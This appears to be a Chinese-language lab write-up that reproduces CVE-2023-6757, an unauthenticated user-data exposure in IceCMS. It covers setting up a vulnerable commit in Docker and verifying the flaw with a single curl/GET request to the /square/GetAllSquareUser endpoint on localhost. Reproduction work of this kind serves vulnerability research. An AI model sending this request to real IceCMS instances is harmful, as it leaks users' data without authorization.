CVE-2023-6757复现验证+Docker环境搭建

找到 CVE-2023-6757 发布日期 2023 年 12 月 13 日

再去找 commit 早于这个时间的版本：68f3ed1

切到这个版本验证了确实存在未授权漏洞

环境配置

数据库

Copy
create databse icecmspro;
use icecmspro;
source icecms5.6.sql

前端 IceWk-vues

Copy
npm install
npm run dev

后端

application.yml 配置数据连接

pom.xml 下载依赖

未授权漏洞验证

直接访问，不需要带 Authorization 头

Copy
GET http://localhost:8181/square/GetAllSquareUser

返回了所有用户数据，应该是管理员权限才能看到的

Docker 环境搭建

最新版提供了 Docker 搭建的文件 IceCMS-Docker

用漏洞版本的 8.0.sql 文件替换 IceCMS-Docker/icecms-sql/IceCMS.sql

其中，该版本.sql 文件没有 create database 和 use database 的语句，在其基础上加上以下内容

Copy
CREATE DATABASE If Not Exists icecms Character Set utf8mb4;
use icecms;

IceCMS-Docker/icecms-sql/setup.sh 有个 Linux 换行不识别问题，如下处理

Copy
sed -i 's/\r$//' setup.sh

IceCMS-Docker/icecms-api/ 下没有 main.jar 文件，需要我们编译后端并放到该路径，编译有漏洞的版本即可

docker-compose.yml 有两个问题：

1.docker-compose.yml 没有通过 docker network 连接

2.icecms-sql 端口映射随机，改成固定端口 33060

修改后的 docker-compose.yml 如下

Copy
version: '3.9'
services:
# 数据库
icecms-sql:
build:
context: ./icecms-sql
container_name: icecms-sql
image: icecms-sql
restart: always
ports:
- "33060:3306"
networks:
- icecms-network

# 后台服务
icecms-api:
build:
context: ./icecms-api
container_name: icecms-api
image: icecms-api
restart: always
ports:
- "8181:8181"
networks:
- icecms-network

# 前端UI
icecms-vue:
build:
context: ./icecms-vue
container_name: icecms-vue
image: icecms-vue
restart: always
ports:
- "3000:80"
networks:
- icecms-network

networks:
icecms-network:
driver: bridge

修改之后在 main.jar 打包前，改一下 application.yml 的数据库配置：

Copy
spring:
datasource:
url: jdbc:mysql://icecms-sql:3306/icecms?useUnicode=true&useJDBCCompliantTimezoneShift=true&serverTimezone=UTC
username: root
password: 123456789
driver-class-name: com.mysql.cj.jdbc.Driver

进入 IceCMS-Docker

Copy
docker-compose up --build

Docker 环境下漏洞验证

Copy
curl http://127.0.0.1:8181/square/GetAllSquareUser